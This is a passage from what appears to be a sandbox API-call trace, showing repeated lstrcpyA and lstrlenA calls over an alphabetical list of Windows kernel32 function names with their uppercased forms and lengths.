[0047.597] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCalendarSupportedDateRange" | out: lpString1="GetCalendarSupportedDateRange") returned="GetCalendarSupportedDateRange" [0047.597] lstrlenA (lpString="GETCALENDARSUPPORTEDDATERANGE") returned 29 [0047.597] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCalendarWeekNumber" | out: lpString1="GetCalendarWeekNumber") returned="GetCalendarWeekNumber" [0047.597] lstrlenA (lpString="GETCALENDARWEEKNUMBER") returned 21 [0047.597] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetComPlusPackageInstallStatus" | out: lpString1="GetComPlusPackageInstallStatus") returned="GetComPlusPackageInstallStatus" [0047.597] lstrlenA (lpString="GETCOMPLUSPACKAGEINSTALLSTATUS") returned 30 [0047.597] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCommConfig" | out: lpString1="GetCommConfig") returned="GetCommConfig" [0047.597] lstrlenA (lpString="GETCOMMCONFIG") returned 13 [0047.597] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCommMask" | out: lpString1="GetCommMask") returned="GetCommMask" [0047.597] lstrlenA (lpString="GETCOMMMASK") returned 11 [0047.597] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCommModemStatus" | out: lpString1="GetCommModemStatus") returned="GetCommModemStatus" [0047.597] lstrlenA (lpString="GETCOMMMODEMSTATUS") returned 18 [0047.597] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCommProperties" | out: lpString1="GetCommProperties") returned="GetCommProperties" [0047.597] lstrlenA (lpString="GETCOMMPROPERTIES") returned 17 [0047.597] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCommState" | out: lpString1="GetCommState") returned="GetCommState" [0047.597] lstrlenA (lpString="GETCOMMSTATE") returned 12 [0047.597] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCommTimeouts" | out: lpString1="GetCommTimeouts") returned="GetCommTimeouts" [0047.598] lstrlenA (lpString="GETCOMMTIMEOUTS") returned 15 [0047.598] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCommandLineA" | out: lpString1="GetCommandLineA") returned="GetCommandLineA" [0047.598] lstrlenA (lpString="GETCOMMANDLINEA") returned 15 [0047.598] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCommandLineW" | out: lpString1="GetCommandLineW") returned="GetCommandLineW" [0047.598] lstrlenA (lpString="GETCOMMANDLINEW") returned 15 [0047.598] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCompressedFileSizeA" | out: lpString1="GetCompressedFileSizeA") returned="GetCompressedFileSizeA" [0047.598] lstrlenA (lpString="GETCOMPRESSEDFILESIZEA") returned 22 [0047.598] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCompressedFileSizeTransactedA" | out: lpString1="GetCompressedFileSizeTransactedA") returned="GetCompressedFileSizeTransactedA" [0047.598] lstrlenA (lpString="GETCOMPRESSEDFILESIZETRANSACTEDA") returned 32 [0047.598] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCompressedFileSizeTransactedW" | out: lpString1="GetCompressedFileSizeTransactedW") returned="GetCompressedFileSizeTransactedW" [0047.598] lstrlenA (lpString="GETCOMPRESSEDFILESIZETRANSACTEDW") returned 32 [0047.598] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCompressedFileSizeW" | out: lpString1="GetCompressedFileSizeW") returned="GetCompressedFileSizeW" [0047.598] lstrlenA (lpString="GETCOMPRESSEDFILESIZEW") returned 22 [0047.598] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetComputerNameA" | out: lpString1="GetComputerNameA") returned="GetComputerNameA" [0047.598] lstrlenA (lpString="GETCOMPUTERNAMEA") returned 16 [0047.598] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetComputerNameExA" | out: lpString1="GetComputerNameExA") returned="GetComputerNameExA" [0047.598] lstrlenA (lpString="GETCOMPUTERNAMEEXA") returned 18 [0047.598] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetComputerNameExW" | out: lpString1="GetComputerNameExW") returned="GetComputerNameExW" [0047.598] lstrlenA (lpString="GETCOMPUTERNAMEEXW") returned 18 [0047.598] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetComputerNameW" | out: lpString1="GetComputerNameW") returned="GetComputerNameW" [0047.598] lstrlenA (lpString="GETCOMPUTERNAMEW") returned 16 [0047.598] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleAliasA" | out: lpString1="GetConsoleAliasA") returned="GetConsoleAliasA" [0047.598] lstrlenA (lpString="GETCONSOLEALIASA") returned 16 [0047.598] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleAliasExesA" | out: lpString1="GetConsoleAliasExesA") returned="GetConsoleAliasExesA" [0047.598] lstrlenA (lpString="GETCONSOLEALIASEXESA") returned 20 [0047.598] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleAliasExesLengthA" | out: lpString1="GetConsoleAliasExesLengthA") returned="GetConsoleAliasExesLengthA" [0047.598] lstrlenA (lpString="GETCONSOLEALIASEXESLENGTHA") returned 26 [0047.598] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleAliasExesLengthW" | out: lpString1="GetConsoleAliasExesLengthW") returned="GetConsoleAliasExesLengthW" [0047.598] lstrlenA (lpString="GETCONSOLEALIASEXESLENGTHW") returned 26 [0047.598] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleAliasExesW" | out: lpString1="GetConsoleAliasExesW") returned="GetConsoleAliasExesW" [0047.598] lstrlenA (lpString="GETCONSOLEALIASEXESW") returned 20 [0047.598] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleAliasW" | out: lpString1="GetConsoleAliasW") returned="GetConsoleAliasW" [0047.598] lstrlenA (lpString="GETCONSOLEALIASW") returned 16 [0047.599] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleAliasesA" | out: lpString1="GetConsoleAliasesA") returned="GetConsoleAliasesA" [0047.599] lstrlenA (lpString="GETCONSOLEALIASESA") returned 18 [0047.599] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleAliasesLengthA" | out: lpString1="GetConsoleAliasesLengthA") returned="GetConsoleAliasesLengthA" [0047.599] lstrlenA (lpString="GETCONSOLEALIASESLENGTHA") returned 24 [0047.599] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleAliasesLengthW" | out: lpString1="GetConsoleAliasesLengthW") returned="GetConsoleAliasesLengthW" [0047.599] lstrlenA (lpString="GETCONSOLEALIASESLENGTHW") returned 24 [0047.599] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleAliasesW" | out: lpString1="GetConsoleAliasesW") returned="GetConsoleAliasesW" [0047.599] lstrlenA (lpString="GETCONSOLEALIASESW") returned 18 [0047.599] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleCP" | out: lpString1="GetConsoleCP") returned="GetConsoleCP" [0047.599] lstrlenA (lpString="GETCONSOLECP") returned 12 [0047.599] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleCharType" | out: lpString1="GetConsoleCharType") returned="GetConsoleCharType" [0047.599] lstrlenA (lpString="GETCONSOLECHARTYPE") returned 18 [0047.599] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleCommandHistoryA" | out: lpString1="GetConsoleCommandHistoryA") returned="GetConsoleCommandHistoryA" [0047.599] lstrlenA (lpString="GETCONSOLECOMMANDHISTORYA") returned 25 [0047.599] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleCommandHistoryLengthA" | out: lpString1="GetConsoleCommandHistoryLengthA") returned="GetConsoleCommandHistoryLengthA" [0047.599] lstrlenA (lpString="GETCONSOLECOMMANDHISTORYLENGTHA") returned 31 [0047.599] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleCommandHistoryLengthW" | out: lpString1="GetConsoleCommandHistoryLengthW") returned="GetConsoleCommandHistoryLengthW" [0047.599] lstrlenA (lpString="GETCONSOLECOMMANDHISTORYLENGTHW") returned 31 [0047.599] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleCommandHistoryW" | out: lpString1="GetConsoleCommandHistoryW") returned="GetConsoleCommandHistoryW" [0047.599] lstrlenA (lpString="GETCONSOLECOMMANDHISTORYW") returned 25 [0047.599] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleCursorInfo" | out: lpString1="GetConsoleCursorInfo") returned="GetConsoleCursorInfo" [0047.599] lstrlenA (lpString="GETCONSOLECURSORINFO") returned 20 [0047.599] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleCursorMode" | out: lpString1="GetConsoleCursorMode") returned="GetConsoleCursorMode" [0047.599] lstrlenA (lpString="GETCONSOLECURSORMODE") returned 20 [0047.599] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleDisplayMode" | out: lpString1="GetConsoleDisplayMode") returned="GetConsoleDisplayMode" [0047.600] lstrlenA (lpString="GETCONSOLEDISPLAYMODE") returned 21 [0047.600] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleFontInfo" | out: lpString1="GetConsoleFontInfo") returned="GetConsoleFontInfo" [0047.600] lstrlenA (lpString="GETCONSOLEFONTINFO") returned 18 [0047.600] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleFontSize" | out: lpString1="GetConsoleFontSize") returned="GetConsoleFontSize" [0047.600] lstrlenA (lpString="GETCONSOLEFONTSIZE") returned 18 [0047.600] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleHardwareState" | out: lpString1="GetConsoleHardwareState") returned="GetConsoleHardwareState" [0047.600] lstrlenA (lpString="GETCONSOLEHARDWARESTATE") returned 23 [0047.600] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleHistoryInfo" | out: lpString1="GetConsoleHistoryInfo") returned="GetConsoleHistoryInfo" [0047.600] lstrlenA (lpString="GETCONSOLEHISTORYINFO") returned 21 [0047.600] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleInputExeNameA" | out: lpString1="GetConsoleInputExeNameA") returned="GetConsoleInputExeNameA" [0047.600] lstrlenA (lpString="GETCONSOLEINPUTEXENAMEA") returned 23 [0047.600] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleInputExeNameW" | out: lpString1="GetConsoleInputExeNameW") returned="GetConsoleInputExeNameW" [0047.600] lstrlenA (lpString="GETCONSOLEINPUTEXENAMEW") returned 23 [0047.600] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleInputWaitHandle" | out: lpString1="GetConsoleInputWaitHandle") returned="GetConsoleInputWaitHandle" [0047.600] lstrlenA (lpString="GETCONSOLEINPUTWAITHANDLE") returned 25 [0047.600] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleKeyboardLayoutNameA" | out: lpString1="GetConsoleKeyboardLayoutNameA") returned="GetConsoleKeyboardLayoutNameA" [0047.600] lstrlenA (lpString="GETCONSOLEKEYBOARDLAYOUTNAMEA") returned 29 [0047.600] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleKeyboardLayoutNameW" | out: lpString1="GetConsoleKeyboardLayoutNameW") returned="GetConsoleKeyboardLayoutNameW" [0047.600] lstrlenA (lpString="GETCONSOLEKEYBOARDLAYOUTNAMEW") returned 29 [0047.600] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleMode" | out: lpString1="GetConsoleMode") returned="GetConsoleMode" [0047.600] lstrlenA (lpString="GETCONSOLEMODE") returned 14 [0047.600] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleNlsMode" | out: lpString1="GetConsoleNlsMode") returned="GetConsoleNlsMode" [0047.600] lstrlenA (lpString="GETCONSOLENLSMODE") returned 17 [0047.601] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleOriginalTitleA" | out: lpString1="GetConsoleOriginalTitleA") returned="GetConsoleOriginalTitleA" [0047.601] lstrlenA (lpString="GETCONSOLEORIGINALTITLEA") returned 24 [0047.601] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleOriginalTitleW" | out: lpString1="GetConsoleOriginalTitleW") returned="GetConsoleOriginalTitleW" [0047.601] lstrlenA (lpString="GETCONSOLEORIGINALTITLEW") returned 24 [0047.601] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleOutputCP" | out: lpString1="GetConsoleOutputCP") returned="GetConsoleOutputCP" [0047.601] lstrlenA (lpString="GETCONSOLEOUTPUTCP") returned 18 [0047.601] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleProcessList" | out: lpString1="GetConsoleProcessList") returned="GetConsoleProcessList" [0047.601] lstrlenA (lpString="GETCONSOLEPROCESSLIST") returned 21 [0047.601] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleScreenBufferInfo" | out: lpString1="GetConsoleScreenBufferInfo") returned="GetConsoleScreenBufferInfo" [0047.601] lstrlenA (lpString="GETCONSOLESCREENBUFFERINFO") returned 26 [0047.601] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleScreenBufferInfoEx" | out: lpString1="GetConsoleScreenBufferInfoEx") returned="GetConsoleScreenBufferInfoEx" [0047.601] lstrlenA (lpString="GETCONSOLESCREENBUFFERINFOEX") returned 28 [0047.601] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleSelectionInfo" | out: lpString1="GetConsoleSelectionInfo") returned="GetConsoleSelectionInfo" [0047.601] lstrlenA (lpString="GETCONSOLESELECTIONINFO") returned 23 [0047.601] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleTitleA" | out: lpString1="GetConsoleTitleA") returned="GetConsoleTitleA" [0047.601] lstrlenA (lpString="GETCONSOLETITLEA") returned 16 [0047.601] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleTitleW" | out: lpString1="GetConsoleTitleW") returned="GetConsoleTitleW" [0047.601] lstrlenA (lpString="GETCONSOLETITLEW") returned 16 [0047.601] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetConsoleWindow" | out: lpString1="GetConsoleWindow") returned="GetConsoleWindow" [0047.601] lstrlenA (lpString="GETCONSOLEWINDOW") returned 16 [0047.601] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCurrencyFormatA" | out: lpString1="GetCurrencyFormatA") returned="GetCurrencyFormatA" [0047.601] lstrlenA (lpString="GETCURRENCYFORMATA") returned 18 [0047.601] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCurrencyFormatEx" | out: lpString1="GetCurrencyFormatEx") returned="GetCurrencyFormatEx" [0047.601] lstrlenA (lpString="GETCURRENCYFORMATEX") returned 19 [0047.601] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCurrencyFormatW" | out: lpString1="GetCurrencyFormatW") returned="GetCurrencyFormatW" [0047.601] lstrlenA (lpString="GETCURRENCYFORMATW") returned 18 [0047.601] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCurrentActCtx" | out: lpString1="GetCurrentActCtx") returned="GetCurrentActCtx" [0047.601] lstrlenA (lpString="GETCURRENTACTCTX") returned 16 [0047.601] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCurrentActCtxWorker" | out: lpString1="GetCurrentActCtxWorker") returned="GetCurrentActCtxWorker" [0047.602] lstrlenA (lpString="GETCURRENTACTCTXWORKER") returned 22 [0047.602] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCurrentApplicationUserModelId" | out: lpString1="GetCurrentApplicationUserModelId") returned="GetCurrentApplicationUserModelId" [0047.602] lstrlenA (lpString="GETCURRENTAPPLICATIONUSERMODELID") returned 32 [0047.602] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCurrentConsoleFont" | out: lpString1="GetCurrentConsoleFont") returned="GetCurrentConsoleFont" [0047.602] lstrlenA (lpString="GETCURRENTCONSOLEFONT") returned 21 [0047.602] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCurrentConsoleFontEx" | out: lpString1="GetCurrentConsoleFontEx") returned="GetCurrentConsoleFontEx" [0047.602] lstrlenA (lpString="GETCURRENTCONSOLEFONTEX") returned 23 [0047.602] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCurrentDirectoryA" | out: lpString1="GetCurrentDirectoryA") returned="GetCurrentDirectoryA" [0047.602] lstrlenA (lpString="GETCURRENTDIRECTORYA") returned 20 [0047.602] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCurrentDirectoryW" | out: lpString1="GetCurrentDirectoryW") returned="GetCurrentDirectoryW" [0047.602] lstrlenA (lpString="GETCURRENTDIRECTORYW") returned 20 [0047.602] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCurrentPackageFamilyName" | out: lpString1="GetCurrentPackageFamilyName") returned="GetCurrentPackageFamilyName" [0047.602] lstrlenA (lpString="GETCURRENTPACKAGEFAMILYNAME") returned 27 [0047.602] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCurrentPackageFullName" | out: lpString1="GetCurrentPackageFullName") returned="GetCurrentPackageFullName" [0047.602] lstrlenA (lpString="GETCURRENTPACKAGEFULLNAME") returned 25 [0047.602] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCurrentPackageId" | out: lpString1="GetCurrentPackageId") returned="GetCurrentPackageId" [0047.602] lstrlenA (lpString="GETCURRENTPACKAGEID") returned 19 [0047.602] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCurrentPackageInfo" | out: lpString1="GetCurrentPackageInfo") returned="GetCurrentPackageInfo" [0047.602] lstrlenA (lpString="GETCURRENTPACKAGEINFO") returned 21 [0047.602] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCurrentPackagePath" | out: lpString1="GetCurrentPackagePath") returned="GetCurrentPackagePath" [0047.602] lstrlenA (lpString="GETCURRENTPACKAGEPATH") returned 21 [0047.602] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCurrentProcess" | out: lpString1="GetCurrentProcess") returned="GetCurrentProcess" [0047.602] lstrlenA (lpString="GETCURRENTPROCESS") returned 17 [0047.602] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCurrentProcessId" | out: lpString1="GetCurrentProcessId") returned="GetCurrentProcessId" [0047.602] lstrlenA (lpString="GETCURRENTPROCESSID") returned 19 [0047.602] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCurrentProcessorNumber" | out: lpString1="GetCurrentProcessorNumber") returned="GetCurrentProcessorNumber" [0047.602] lstrlenA (lpString="GETCURRENTPROCESSORNUMBER") returned 25 [0047.602] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCurrentProcessorNumberEx" | out: lpString1="GetCurrentProcessorNumberEx") returned="GetCurrentProcessorNumberEx" [0047.602] lstrlenA (lpString="GETCURRENTPROCESSORNUMBEREX") returned 27 [0047.602] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCurrentThread" | out: lpString1="GetCurrentThread") returned="GetCurrentThread" [0047.603] lstrlenA (lpString="GETCURRENTTHREAD") returned 16 [0047.603] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCurrentThreadId" | out: lpString1="GetCurrentThreadId") returned="GetCurrentThreadId" [0047.603] lstrlenA (lpString="GETCURRENTTHREADID") returned 18 [0047.603] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetCurrentThreadStackLimits" | out: lpString1="GetCurrentThreadStackLimits") returned="GetCurrentThreadStackLimits" [0047.603] lstrlenA (lpString="GETCURRENTTHREADSTACKLIMITS") returned 27 [0047.603] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetDateFormatA" | out: lpString1="GetDateFormatA") returned="GetDateFormatA" [0047.603] lstrlenA (lpString="GETDATEFORMATA") returned 14 [0047.603] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetDateFormatAWorker" | out: lpString1="GetDateFormatAWorker") returned="GetDateFormatAWorker" [0047.603] lstrlenA (lpString="GETDATEFORMATAWORKER") returned 20 [0047.603] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetDateFormatEx" | out: lpString1="GetDateFormatEx") returned="GetDateFormatEx" [0047.603] lstrlenA (lpString="GETDATEFORMATEX") returned 15 [0047.603] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetDateFormatW" | out: lpString1="GetDateFormatW") returned="GetDateFormatW" [0047.603] lstrlenA (lpString="GETDATEFORMATW") returned 14 [0047.603] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetDateFormatWWorker" | out: lpString1="GetDateFormatWWorker") returned="GetDateFormatWWorker" [0047.603] lstrlenA (lpString="GETDATEFORMATWWORKER") returned 20 [0047.603] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetDefaultCommConfigA" | out: lpString1="GetDefaultCommConfigA") returned="GetDefaultCommConfigA" [0047.603] lstrlenA (lpString="GETDEFAULTCOMMCONFIGA") returned 21 [0047.603] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetDefaultCommConfigW" | out: lpString1="GetDefaultCommConfigW") returned="GetDefaultCommConfigW" [0047.603] lstrlenA (lpString="GETDEFAULTCOMMCONFIGW") returned 21 [0047.603] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetDevicePowerState" | out: lpString1="GetDevicePowerState") returned="GetDevicePowerState" [0047.603] lstrlenA (lpString="GETDEVICEPOWERSTATE") returned 19 [0047.604] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetDiskFreeSpaceA" | out: lpString1="GetDiskFreeSpaceA") returned="GetDiskFreeSpaceA" [0047.604] lstrlenA (lpString="GETDISKFREESPACEA") returned 17 [0047.604] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetDiskFreeSpaceExA" | out: lpString1="GetDiskFreeSpaceExA") returned="GetDiskFreeSpaceExA" [0047.604] lstrlenA (lpString="GETDISKFREESPACEEXA") returned 19 [0047.604] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetDiskFreeSpaceExW" | out: lpString1="GetDiskFreeSpaceExW") returned="GetDiskFreeSpaceExW" [0047.604] lstrlenA (lpString="GETDISKFREESPACEEXW") returned 19 [0047.604] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetDiskFreeSpaceW" | out: lpString1="GetDiskFreeSpaceW") returned="GetDiskFreeSpaceW" [0047.604] lstrlenA (lpString="GETDISKFREESPACEW") returned 17 [0047.604] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetDllDirectoryA" | out: lpString1="GetDllDirectoryA") returned="GetDllDirectoryA" [0047.604] lstrlenA (lpString="GETDLLDIRECTORYA") returned 16 [0047.604] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetDllDirectoryW" | out: lpString1="GetDllDirectoryW") returned="GetDllDirectoryW" [0047.604] lstrlenA (lpString="GETDLLDIRECTORYW") returned 16 [0047.604] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetDriveTypeA" | out: lpString1="GetDriveTypeA") returned="GetDriveTypeA" [0047.604] lstrlenA (lpString="GETDRIVETYPEA") returned 13 [0047.604] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetDriveTypeW" | out: lpString1="GetDriveTypeW") returned="GetDriveTypeW" [0047.604] lstrlenA (lpString="GETDRIVETYPEW") returned 13 [0047.604] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetDurationFormat" | out: lpString1="GetDurationFormat") returned="GetDurationFormat" [0047.604] lstrlenA (lpString="GETDURATIONFORMAT") returned 17 [0047.604] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetDurationFormatEx" | out: lpString1="GetDurationFormatEx") returned="GetDurationFormatEx" [0047.604] lstrlenA (lpString="GETDURATIONFORMATEX") returned 19 [0047.605] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetDynamicTimeZoneInformation" | out: lpString1="GetDynamicTimeZoneInformation") returned="GetDynamicTimeZoneInformation" [0047.605] lstrlenA (lpString="GETDYNAMICTIMEZONEINFORMATION") returned 29 [0047.605] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetEnabledXStateFeatures" | out: lpString1="GetEnabledXStateFeatures") returned="GetEnabledXStateFeatures" [0047.606] lstrlenA (lpString="GETENABLEDXSTATEFEATURES") returned 24 [0047.606] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetEncryptedFileVersionExt" | out: lpString1="GetEncryptedFileVersionExt") returned="GetEncryptedFileVersionExt" [0047.606] lstrlenA (lpString="GETENCRYPTEDFILEVERSIONEXT") returned 26 [0047.606] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetEnvironmentStrings" | out: lpString1="GetEnvironmentStrings") returned="GetEnvironmentStrings" [0047.606] lstrlenA (lpString="GETENVIRONMENTSTRINGS") returned 21 [0047.606] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetEnvironmentStringsA" | out: lpString1="GetEnvironmentStringsA") returned="GetEnvironmentStringsA" [0047.606] lstrlenA (lpString="GETENVIRONMENTSTRINGSA") returned 22 [0047.606] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetEnvironmentStringsW" | out: lpString1="GetEnvironmentStringsW") returned="GetEnvironmentStringsW" [0047.606] lstrlenA (lpString="GETENVIRONMENTSTRINGSW") returned 22 [0047.606] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetEnvironmentVariableA" | out: lpString1="GetEnvironmentVariableA") returned="GetEnvironmentVariableA" [0047.606] lstrlenA (lpString="GETENVIRONMENTVARIABLEA") returned 23 [0047.606] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetEnvironmentVariableW" | out: lpString1="GetEnvironmentVariableW") returned="GetEnvironmentVariableW" [0047.606] lstrlenA (lpString="GETENVIRONMENTVARIABLEW") returned 23 [0047.606] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetEraNameCountedString" | out: lpString1="GetEraNameCountedString") returned="GetEraNameCountedString" [0047.606] lstrlenA (lpString="GETERANAMECOUNTEDSTRING") returned 23 [0047.606] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetErrorMode" | out: lpString1="GetErrorMode") returned="GetErrorMode" [0047.606] lstrlenA (lpString="GETERRORMODE") returned 12 [0047.606] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetExitCodeProcess" | out: lpString1="GetExitCodeProcess") returned="GetExitCodeProcess" [0047.606] lstrlenA (lpString="GETEXITCODEPROCESS") returned 18 [0047.606] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetExitCodeThread" | out: lpString1="GetExitCodeThread") returned="GetExitCodeThread" [0047.606] lstrlenA (lpString="GETEXITCODETHREAD") returned 17 [0047.607] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetExpandedNameA" | out: lpString1="GetExpandedNameA") returned="GetExpandedNameA" [0047.607] lstrlenA (lpString="GETEXPANDEDNAMEA") returned 16 [0047.607] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetExpandedNameW" | out: lpString1="GetExpandedNameW") returned="GetExpandedNameW" [0047.607] lstrlenA (lpString="GETEXPANDEDNAMEW") returned 16 [0047.607] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFileAttributesA" | out: lpString1="GetFileAttributesA") returned="GetFileAttributesA" [0047.607] lstrlenA (lpString="GETFILEATTRIBUTESA") returned 18 [0047.607] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFileAttributesExA" | out: lpString1="GetFileAttributesExA") returned="GetFileAttributesExA" [0047.607] lstrlenA (lpString="GETFILEATTRIBUTESEXA") returned 20 [0047.607] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFileAttributesExW" | out: lpString1="GetFileAttributesExW") returned="GetFileAttributesExW" [0047.607] lstrlenA (lpString="GETFILEATTRIBUTESEXW") returned 20 [0047.607] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFileAttributesTransactedA" | out: lpString1="GetFileAttributesTransactedA") returned="GetFileAttributesTransactedA" [0047.607] lstrlenA (lpString="GETFILEATTRIBUTESTRANSACTEDA") returned 28 [0047.607] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFileAttributesTransactedW" | out: lpString1="GetFileAttributesTransactedW") returned="GetFileAttributesTransactedW" [0047.607] lstrlenA (lpString="GETFILEATTRIBUTESTRANSACTEDW") returned 28 [0047.607] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFileAttributesW" | out: lpString1="GetFileAttributesW") returned="GetFileAttributesW" [0047.607] lstrlenA (lpString="GETFILEATTRIBUTESW") returned 18 [0047.607] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFileBandwidthReservation" | out: lpString1="GetFileBandwidthReservation") returned="GetFileBandwidthReservation" [0047.607] lstrlenA (lpString="GETFILEBANDWIDTHRESERVATION") returned 27 [0047.607] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFileInformationByHandle" | out: lpString1="GetFileInformationByHandle") returned="GetFileInformationByHandle" [0047.607] lstrlenA (lpString="GETFILEINFORMATIONBYHANDLE") returned 26 [0047.607] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFileInformationByHandleEx" | out: lpString1="GetFileInformationByHandleEx") returned="GetFileInformationByHandleEx" [0047.607] lstrlenA (lpString="GETFILEINFORMATIONBYHANDLEEX") returned 28 [0047.607] lstrcpyA (in: lpString1=0x21fe3e8, lpString2="GetFileMUIInfo" | out: lpString1="GetFileMUIInfo") returned="GetFileMUIInfo" [0047.607] 